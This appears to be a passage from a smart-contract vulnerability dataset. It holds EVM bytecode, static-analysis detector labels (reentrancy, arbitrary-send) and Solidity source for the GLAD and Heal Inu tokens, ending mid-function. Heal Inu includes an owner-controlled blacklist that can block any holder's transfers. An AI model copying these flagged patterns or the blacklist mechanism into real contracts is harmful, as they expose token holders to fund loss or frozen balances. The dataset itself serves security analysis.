036040830187614b53565b614f106060830186614b53565b614f1d6080830185614ad7565b614f2a60a0830184614e34565b979650505050505050565b6000602082019050614f4a6000830184614b44565b92915050565b6000606082019050614f656000830186614b44565b614f726020830185614b44565b614f7f6040830184614b44565b949350505050565b60006020820190508181036000830152614fa18184614b62565b905092915050565b60006020820190508181036000830152614fc281614b9b565b9050919050565b60006020820190508181036000830152614fe281614bbe565b9050919050565b6000602082019050818103600083015261500281614be1565b9050919050565b6000602082019050818103600083015261502281614c04565b9050919050565b6000602082019050818103600083015261504281614c27565b9050919050565b6000602082019050818103600083015261506281614c4a565b9050919050565b6000602082019050818103600083015261508281614c6d565b9050919050565b600060208201905081810360008301526150a281614c90565b9050919050565b600060208201905081810360008301526150c281614cb3565b9050919050565b600060208201905081810360008301526150e281614cd6565b9050919050565b6000602082019050818103600083015261510281614cf9565b9050919050565b6000602082019050818103600083015261512281614d1c565b9050919050565b6000602082019050818103600083015261514281614d3f565b9050919050565b6000602082019050818103600083015261516281614d62565b9050919050565b6000602082019050818103600083015261518281614d85565b9050919050565b600060208201905081810360008301526151a281614dcb565b9050919050565b600060208201905081810360008301526151c281614dee565b9050919050565b600060208201905081810360008301526151e281614e11565b9050919050565b60006020820190506151fe6000830184614e34565b92915050565b600060a0820190506152196000830188614e34565b6152266020830187614b53565b81810360408301526152388186614ae6565b90506152476060830185614ad7565b6152546080830184614e34565b9695505050505050565b60006060820190506152736000830186614e34565b6152806020830185614e34565b61528d6040830184614e34565b949350505050565b60006020820190506152aa6000830184614e43565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061531b82615475565b915061532683615475565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561535b5761535a61551a565b5b828201905092915050565b600061537182615475565b915061537c83615475565b92508261538c5761538b615549565b5b828204905092915050565b60006153a282615475565b91506153ad83615475565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156153e6576153e561551a565b5b828202905092915050565b60006153fc82615475565b915061540783615475565b92508282101561541a5761541961551a565b5b828203905092915050565b600061543082615455565b9050919050565b600061544282615455565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061549782615475565b9050919050565b60005b838110156154bc5780820151818401526020810190506154a1565b838111156154cb576000848401525b50505050565b60006154dc82615475565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561550f5761550e61551a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b7f5472616e7366657220666565206d757374206265206c657373207468616e203260008201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b7f746178206d757374206265206c657373207468616e2035000000000000000000600082015250565b7f6c6971756964697479206665652070657263656e74616765206d75737420626560008201527f206265747765656e203020746f20313030000000000000000000000000000000602082015250565b7f53656c6c20666565206d757374206265206c657373207468616e203230000000600082015250565b7f42757920666565206d757374206265206c657373207468616e20323000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b615a9081615425565b8114615a9b57600080fd5b50565b615aa781615437565b8114615ab257600080fd5b50565b615abe81615449565b8114615ac957600080fd5b50565b615ad581615475565b8114615ae057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d02b4faabe0a06c7940ccc329c764e97007ab0828c241cdd3e6cde11ca1b35bf64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,743
0x2b4f00249026d720c45c26de387ffa0fa7bc7195
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract GladToken is PausableToken { string public name = "GLAD"; string public symbol = "GLAD"; uint8 public decimals = 8; uint public INITIAL_SUPPLY = 1000000000 * 10 ** uint(decimals); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function distribute(address[] addresses, uint256[] amounts) onlyOwner whenNotPaused public { require(addresses.length == amounts.length); for (uint i = 0; i < addresses.length; i++) { super.transfer(addresses[i], amounts[i]); } } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f45780632929abe61461021e5780632ff2e9dc146102ae578063313ce567146102c35780633f4ba83a146102ee5780635c975abb14610303578063661884631461031857806370a082311461033c578063715018a61461035d5780638456cb59146103725780638da5cb5b1461038757806395d89b41146103b8578063a9059cbb146103cd578063d73dd623146103f1578063dd62ed3e14610415578063f2fde38b1461043c575b600080fd5b34801561011757600080fd5b5061012061045d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a03600435166024356104eb565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e2610516565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a036004358116906024351660443561051c565b34801561022a57600080fd5b50604080516020600480358082013583810280860185019096528085526102ac95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506105499650505050505050565b005b3480156102ba57600080fd5b506101e26105db565b3480156102cf57600080fd5b506102d86105e1565b6040805160ff9092168252519081900360200190f35b3480156102fa57600080fd5b506102ac6105ea565b34801561030f57600080fd5b506101b9610662565b34801561032457600080fd5b506101b9600160a060020a0360043516602435610672565b34801561034857600080fd5b506101e2600160a060020a0360043516610696565b34801561036957600080fd5b506102ac6106b1565b34801561037e57600080fd5b506102ac61071f565b34801561039357600080fd5b5061039c61079c565b60408051600160a060020a039092168252519081900360200190f35b3480156103c457600080fd5b506101206107ab565b3480156103d957600080fd5b506101b9600160a060020a0360043516602435610806565b3480156103fd57600080fd5b506101b9600160a060020a036004351660243561082a565b34801561042157600080fd5b506101e2600160a060020a036004358116906024351661084e565b34801561044857600080fd5b506102ac600160a060020a0360043516610879565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b820191906000526020600020905b8154815290600101906020018083116104c657829003601f168201915b505050505081565b60035460009060a060020a900460ff161561050557600080fd5b61050f838361089c565b9392505050565b60015490565b60035460009060a060020a900460ff161561053657600080fd5b610541848484610902565b949350505050565b600354600090600160a060020a0316331461056357600080fd5b60035460a060020a900460ff161561057a57600080fd5b815183511461058857600080fd5b5060005b82518110156105d6576105cd83828151811015156105a657fe5b9060200190602002015183838151811015156105be57fe5b90602001906020020151610806565b5060010161058c565b505050565b60075481565b60065460ff1681565b600354600160a060020a0316331461060157600080fd5b60035460a060020a900460ff16151561061957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561068c57600080fd5b61050f8383610a79565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146106c857600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a0316331461073657600080fd5b60035460a060020a900460ff161561074d57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b60035460009060a060020a900460ff161561082057600080fd5b61050f8383610b69565b60035460009060a060020a900460ff161561084457600080fd5b61050f8383610c4a565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461089057600080fd5b61089981610ce3565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561091957600080fd5b600160a060020a03841660009081526020819052604090205482111561093e57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561096e57600080fd5b600160a060020a038416600090815260208190526040902054610997908363ffffffff610d6116565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109cc908363ffffffff610d7316565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610a0e908363ffffffff610d6116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610ace57336000908152600260209081526040808320600160a060020a0388168452909152812055610b03565b610ade818463ffffffff610d6116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610b8057600080fd5b33600090815260208190526040902054821115610b9c57600080fd5b33600090815260208190526040902054610bbc908363ffffffff610d6116565b3360009081526020819052604080822092909255600160a060020a03851681522054610bee908363ffffffff610d7316565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c7e908363ffffffff610d7316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610cf857600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d6d57fe5b50900390565b81810182811015610d8057fe5b929150505600a165627a7a723058206be35757db8321f70db5c06c9d27a6c6116d9dd46b4c0f79cb6db1df7154a8560029
{"success": true, "error": null, "results": {}}
2,744
0xbf1f2ab214030b31c3388b50c48cb617e2e51db0
/* ___ ___ .__ _________ __ / | \ ____ _____ | | \_ ___ \_______ ___.__._______/ |_ ____ / ~ \_/ __ \\__ \ | | / \ \/\_ __ < | |\____ \ __\/ _ \ \ Y /\ ___/ / __ \| |__ \ \____| | \/\___ || |_> > | ( <_> ) \___|_ / \___ >____ /____/ \______ /|__| / ____|| __/|__| \____/ \/ \/ \/ \/ \/ |__| */ // Heal Inu | $Heal // Telegram: https://t.me/HealInu // Twitter: https://twitter.com/InuHeal // Website: https://healinu.org/ // Fair Launch, no Presale/Dev Tokens. 100% LP. // Bot Protection. // LP Lock immediately after launch. // Ownership will be renounced 30 minutes after launch. // Slippage Recommended: 20%+ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HealInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Heal Inu"; string private constant _symbol = "Heal \xE2\x9D\xA4"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 10; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 10; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function 